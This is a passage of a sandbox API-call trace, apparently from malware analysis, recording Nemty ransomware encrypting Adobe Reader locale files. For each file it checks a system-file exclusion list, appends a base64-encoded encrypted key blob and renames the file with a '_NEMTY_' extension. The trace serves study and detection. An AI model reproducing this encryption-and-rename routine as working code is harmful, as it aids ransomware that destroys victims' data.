lpString2="ntldr") returned -1 [0176.541] lstrcmpiW (lpString1="BRdlang32.SUO", lpString2="MSDOS.SYS") returned -1 [0176.541] lstrcmpiW (lpString1="BRdlang32.SUO", lpString2="IO.SYS") returned -1 [0176.541] lstrcmpiW (lpString1="BRdlang32.SUO", lpString2="boot.ini") returned 1 [0176.541] lstrcmpiW (lpString1="BRdlang32.SUO", lpString2="boot.ini") returned 1 [0176.541] lstrcmpiW (lpString1="BRdlang32.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0176.541] lstrcmpiW (lpString1="BRdlang32.SUO", lpString2="ntuser.dat") returned -1 [0176.541] lstrcmpiW (lpString1="BRdlang32.SUO", lpString2="desktop.ini") returned -1 [0176.541] lstrcmpiW (lpString1="BRdlang32.SUO", lpString2="CONFIG.SYS") returned -1 [0176.541] lstrcmpiW (lpString1="BRdlang32.SUO", lpString2="RECYCLER") returned -1 [0176.541] lstrcmpiW (lpString1="BRdlang32.SUO", lpString2="BOOTSECT.BAK") returned 1 [0176.541] lstrcmpiW (lpString1="BRdlang32.SUO", lpString2="bootmgr") returned 1 [0176.541] lstrcmpiW (lpString1="BRdlang32.SUO", lpString2="programdata") returned -1 [0176.541] lstrcmpiW (lpString1="BRdlang32.SUO", lpString2="appdata") returned 1 [0176.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SUO", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SUO", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.SUO", lpUsedDefaultChar=0x0) returned 13 [0176.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SUO", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SUO", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.SUO", lpUsedDefaultChar=0x0) returned 13 [0176.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SUO", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SUO", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.SUO", lpUsedDefaultChar=0x0) returned 13 [0176.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SUO", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SUO", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.SUO", lpUsedDefaultChar=0x0) returned 13 [0176.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0176.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.542] Sleep (dwMilliseconds=0x5) [0176.543] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cdfed90, dwHighDateTime=0x1d561e8)) [0176.543] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cdfed90, dwHighDateTime=0x1d561e8)) [0176.543] GetLastError () returned 0x0 [0176.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.543] GetLastError () returned 0x0 [0176.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.543] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.543] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.543] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.543] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="gFLdED//d6agLMVTksUwNbS0YD2KspaQov9kPPjfNXtoqnaACRqJD0QRfzZ3wVFb\r\n55pynnDWRV+xXcQp8PvjuOu3GmCJGZ2cCCFHatHINib5rER12Y18b6xAOJLmLGRx\r\niutAvKyzDKe+H1ncquPU7oRkQOkcLnPD9rxIIC5s2gznuV5bUZiN0OilH3Oot27v\r\nzth6kfLEXyRnm6Swi9I6KIMUkcEnhovJd2+bW59zYYWpaU2b9MGph96Rg2adIaPG\r\nBMIaHZEzzj1hf6TWuOtW2ANP3KZA6dNrtKzk2U+9TFXcTF4LAMrzmEVLtP/ogo+z\r\nUODNqUAYWjHBogEGbGC7uQ==\r\n", pcchString=0x653e5dc) returned 1 [0176.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.544] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\BRdlang32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\brdlang32.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.544] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=13312) returned 1 [0176.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3400) returned 0x6352c48 [0176.544] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.544] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3400, lpOverlapped=0x0) returned 1 [0176.546] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.546] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3400, lpOverlapped=0x0) returned 1 [0176.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.547] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=13312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3400 [0176.547] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.547] CloseHandle (hObject=0x2e8) returned 1 [0176.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.547] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.547] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.547] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\BRdlang32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\brdlang32.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\BRdlang32.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\brdlang32.suo._nemty_kgobjgd_")) returned 1 [0176.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.548] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1de00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.SUO", cAlternateFileName="")) returned 1 [0176.548] lstrcmpiW (lpString1="Checkers.SUO", lpString2=".") returned 1 [0176.548] lstrcmpiW (lpString1="Checkers.SUO", lpString2="..") returned 1 [0176.548] lstrcmpiW (lpString1="Checkers.SUO", lpString2="...") returned 1 [0176.548] lstrcmpiW (lpString1="Checkers.SUO", lpString2="windows") returned -1 [0176.548] lstrcmpiW (lpString1="Checkers.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.548] lstrcmpiW (lpString1="Checkers.SUO", lpString2="rsa") returned -1 [0176.548] lstrcmpiW (lpString1="Checkers.SUO", lpString2="NTDETECT.COM") returned -1 [0176.548] lstrcmpiW (lpString1="Checkers.SUO", lpString2="ntldr") returned -1 [0176.548] lstrcmpiW (lpString1="Checkers.SUO", lpString2="MSDOS.SYS") returned -1 [0176.548] lstrcmpiW (lpString1="Checkers.SUO", lpString2="IO.SYS") returned -1 [0176.548] lstrcmpiW (lpString1="Checkers.SUO", lpString2="boot.ini") returned 1 [0176.548] lstrcmpiW (lpString1="Checkers.SUO", lpString2="boot.ini") returned 1 [0176.548] lstrcmpiW (lpString1="Checkers.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0176.548] lstrcmpiW (lpString1="Checkers.SUO", lpString2="ntuser.dat") returned -1 [0176.548] lstrcmpiW (lpString1="Checkers.SUO", lpString2="desktop.ini") returned -1 [0176.548] lstrcmpiW (lpString1="Checkers.SUO", lpString2="CONFIG.SYS") returned -1 [0176.549] lstrcmpiW (lpString1="Checkers.SUO", lpString2="RECYCLER") returned -1 [0176.549] lstrcmpiW (lpString1="Checkers.SUO", lpString2="BOOTSECT.BAK") returned 1 [0176.549] lstrcmpiW (lpString1="Checkers.SUO", lpString2="bootmgr") returned 1 [0176.549] lstrcmpiW (lpString1="Checkers.SUO", lpString2="programdata") returned -1 [0176.549] lstrcmpiW (lpString1="Checkers.SUO", lpString2="appdata") returned 1 [0176.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SUO", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.SUO", lpUsedDefaultChar=0x0) returned 12 [0176.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SUO", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.SUO", lpUsedDefaultChar=0x0) returned 12 [0176.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SUO", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.SUO", lpUsedDefaultChar=0x0) returned 12 [0176.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SUO", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.SUO", lpUsedDefaultChar=0x0) returned 12 [0176.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.549] Sleep (dwMilliseconds=0x5) [0176.558] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ce24ef0, dwHighDateTime=0x1d561e8)) [0176.559] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ce24ef0, dwHighDateTime=0x1d561e8)) [0176.559] GetLastError () returned 0x0 [0176.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.559] GetLastError () returned 0x0 [0176.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.559] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.559] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.559] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.559] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="3eqaVgqx8f6aJT00QNL+zr+TVAwNFA8L3bkx6xdnTr0ubwdl0YAwQ5a9AbRKm/BU\r\nh6zFo5H+rbDPiMmq01U4+zY+dij11JmSZlUsBiVcUkmlDJ51S1KzC3pmp/0dFv3N\r\nojFi9cuU9k/vzNvAQP5LwqVhNu2O8TF8eahiwKLmCUTSGEzbQsqHTc9ZTw08OT6N\r\naOOAYbgHycJxKvg+2oYhWgVYzybwzw8b9Zc0iOpJX20+p2l0DptFolhscq8C/FMu\r\nk6WfSKla3UgJIG1k62PjlLtKBW6g98MfNKBNo/excElEC4g1gfyQL5KQ5lGEAnSA\r\nwl6FvV/besJdJLYzgq0IqQ==\r\n", pcchString=0x653e5dc) returned 1 [0176.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.559] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Checkers.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\checkers.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.560] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=122368) returned 1 [0176.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0176.560] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.560] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0176.569] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.569] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0176.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.569] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=122368, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1de00 [0176.569] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.569] CloseHandle (hObject=0x2e8) returned 1 [0176.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.570] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Checkers.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\checkers.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Checkers.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\checkers.suo._nemty_kgobjgd_")) returned 1 [0176.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.570] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: 